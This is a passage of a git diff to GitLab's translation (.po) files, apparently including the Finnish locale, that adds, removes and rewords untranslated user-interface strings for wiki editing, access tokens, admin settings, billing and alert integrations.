@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index 85a7be0feaa..46f1d1e24e2 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:39\n"
+"PO-Revision-Date: 2021-07-01 21:23\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
